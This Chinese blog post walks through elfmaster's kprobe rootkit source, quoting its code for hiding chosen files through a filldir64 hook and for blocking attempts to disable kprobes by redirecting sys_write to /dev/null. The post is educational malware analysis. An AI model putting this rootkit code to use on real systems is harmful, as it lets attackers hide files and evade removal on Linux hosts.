介绍

《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码

kprobe

kprobe的介绍可以看下面这几篇文章

介绍:https://www.cnblogs.com/honpey/p/4575928.html

原理:https://www.cnblogs.com/honpey/p/4575902.html

用法:https://blog.csdn.net/luckyapple1028/article/details/52972315

使用kprobe来写rootkit

作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit

这里分析一下这个项目的源码

这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头

char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3"test1","test2","test3"
};

在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置

 //n_kallsyms_lookup_name这个函数好像找不到,一般用kallsyms_lookup_name这个函数

filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");

然后就向这两个函数的开头和结尾注册了jprobe和retprobe

//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp);register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);

同时还会去找另外3个函数的地址,get_task_comn是获得

_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");

然后有4个kprobe结构,包含着我们的实现代码

static struct jprobe syswrite_jp =
{.entry = (kprobe_opcode_t *)j_sys_write
};static struct jprobe filldir64_jp =
{.entry = (kprobe_opcode_t *)j_filldir64
};static struct kretprobe filldir64_kp =
{.handler = filldir64_ret_handler,.maxactive = NR_CPUS
};static struct kretprobe syswrite_kp =
{.handler = sys_write_ret_handler,.maxactive = NR_CPUS
};

先看filldir64的两个函数

j_filldir64是jprobe的函数,在filldir64之前执行,

//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = 0; i < HIDDEN_FILES_MAX; i++)if (strcmp(hidden_files[i], name) == 0)found_hidden_file++;if (!found_hidden_file)goto end;

如果有,则记录在全局变量中

        //全局指针,如果有,则记录下这么目录,g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;g_dentry.bypass++; // note that we want to bypass viewing this file

在返回的时候,如果发现是需要隐藏的目录,则直接清除掉

static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{char *ptr, null = 0;/* Someone is looking at one of our hidden files */if (g_dentry.bypass){/* Lets nullify the filename so it simply is invisible */ptr = (char *)g_dentry.d_name_ptr;copy_to_user((char *)ptr, &null, sizeof(char));}
}

在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能

可以通过get_task_comn来获取进程的可执行文件名字

    _get_task_comm(comm, current);printk("comm: %s\n", comm);if (strcmp(comm, "ls"))    goto do_inode_check;else    /* check to see if this is an ls stat complaint, or ls -l weirdness *//* There are two separate calls to sys_write hence two strstr checks */if (strstr(s, "cannot access") || strstr(s, "ls:"))  {printk("Going to redirect\n");goto redirect;  }

然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled

       //先得到file结构,然后得到dentry,最后再得到inode结构file = fget(fd);if (!file)goto out;dentry = dget(file->f_path.dentry);if (!dentry)goto out;ino = dentry->d_inode->i_ino;dput(dentry);fput(file);/* If someone tries to disable kprobes or tries to see our probes *//* in /sys/kernel/debug/kprobes, it aint happening *///enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值if (ino == enabled_ino){printk("ino: %u\n", ino);    goto redirect;}elsegoto out;

最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样

        //KERNEL_DS范围很大,到0xffffffffffffffffmm_segment_t o_fs = get_fs();set_fs(KERNEL_DS);_sys_close(fd);fd = _sys_open(devnull, O_RDWR, 0);set_fs(o_fs);global_fd = fd;

关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html

在write写结束的位置,再关闭NULL文件就可以了。

linux kprobe rootkit 简介相关推荐

  1. linux wc 命令简介

    此wc命令不是让大家没有食欲的地方.而是linux下一个简单的小命令. NAME wc - word, line, character, and byte count SYNOPSIS wc [-cl ...

  2. Kali Linux 安全渗透教程第二更Linux安全渗透简介

    第1章  Linux安全渗透简介 渗透测试是对用户信息安全措施积极评估的过程.通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如设计缺陷.技术缺陷.本章将简要介绍Linux安全渗透及 ...

  3. 资料收集新一代 Linux 文件系统 btrfs 简介

    来自: http://www.ibm.com/developerworks/cn/linux/l-cn-btrfs/ Btrfs 简介 文件系统似乎是内核中比较稳定的部分,多年来,人们一直使用 ext ...

  4. 面向dba的linux shell 脚本简介,面向 DBA 的 Linux Shell 脚本简介

    DBA:Linux 面向 DBA 的 Linux Shell 脚本简介 作者:CasimirSaternos 学习一些在 Linux 上安装.运行和维护 Oracle 数据库所需的基本 bash sh ...

  5. Linux Namespace机制简介

    最近Docker技术越来越受到关注,作为Docker中很重要的一项技术,Namespace也就经常在Docker的简介里面看到. 在这里总结一下它的内部机制.也解决一下自己原来的一些疑惑. Names ...

  6. 使用rkhunter检测Linux的rootkit

    转载来源 :使用rkhunter检测Linux的rootkit : https://www.jianshu.com/p/9a5fcd4b236b 介绍 rootkit是Linux平台下最常见的一种木马 ...

  7. [转] Windows完成端口与Linux epoll技术简介

    Windows完成端口与Linux epoll技术简介 2008-01-03 16:18 WINDOWS完成端口编程1.基本概念 2.WINDOWS完成端口的特点 3.完成端口(Completion ...

  8. Linux安全原理简介

    Linux安全原理简介 介绍 在设置Linux计算机的所有阶段,安全性应是首要考虑之一.要在计算机上实施良好的安全策略,需要对Linux的基础知识以及所使用的某些应用程序和协议有充分的了解. Linu ...

  9. linux 网络安全工具,常用的Linux网络安全工具简介

    常用的Linux网络安全工具简介 互联网   发布时间:2008-10-08 22:12:04   作者:佚名   我要评论 常用的Linux网络安全工具简介 尽管各种版本的Linux distrib ...

最新文章

  1. linux i2c ioctl错误,关于读写I2C总线的时候出错的有关问题
  2. arcgis api for flex 开发入门(二)map 的创建
  3. java akiba,java使用jeids实现redis2.6的脚本执行
  4. Python:利用collections库实现统计单个字或单个字母的频率统计并进行降序输出、统计一个列表内重复元素并以字典形式输出
  5. 第一次二刷的电影:工作细胞
  6. 键盘流的逆袭- Idea 中使用 VIM mode 提高生成效率
  7. 【Kaggle微课程】Natural Language Processing - 3. Word Vectors
  8. SLAM Cartographer(15)位姿图
  9. 2021-07-05 操作系统实操相关知识点笔记--中断、异常的响应和处理
  10. android spi串口调试,PIC入门3,SPI通信和串口调试实验
  11. mysql创建数据库命令
  12. Cisco IOS 命名规则(整理版)
  13. 不可忽视的IT运维管理
  14. 管理感悟:承认错误,善于总结
  15. 区块链重要基础知识2——哈希函数的原理以及应用于区块头部
  16. [NLP]——BPE、WordPiece、Unigram and SentencePiece
  17. 两周自制编程语言读书总结
  18. java制作超炫流星雨表白,python星空浪漫表白源码
  19. 积木报表JimuReport支持的15种数据库类型介绍
  20. 今日头条开通,分享我爱的数码科技

热门文章

  1. pythonpandas读取csv和另外一个csv进行比较_Python Pandas:比较一个列中类似值的两个csv(dataframe)的行,并返回相似的行(列)的内容...
  2. Cloudify — 系统架构
  3. 互联网协议 — TLS — SNI
  4. Go 语言编程 — net/http — 支持 HTTPS
  5. 用 C 语言开发一门编程语言 — 基于 Lambda 表达式的函数设计
  6. Libvirt 版本降级过程记录 4.5.0 to 3.9.0
  7. nosql ( redis 跟 memcache )的区别
  8. java接口关于interface关键字
  9. 通过Zabbix全面监控NetScaler负载均衡设备
  10. SqlBulkCopy与触发器,批量插入表(存在则更新,不存在则插入)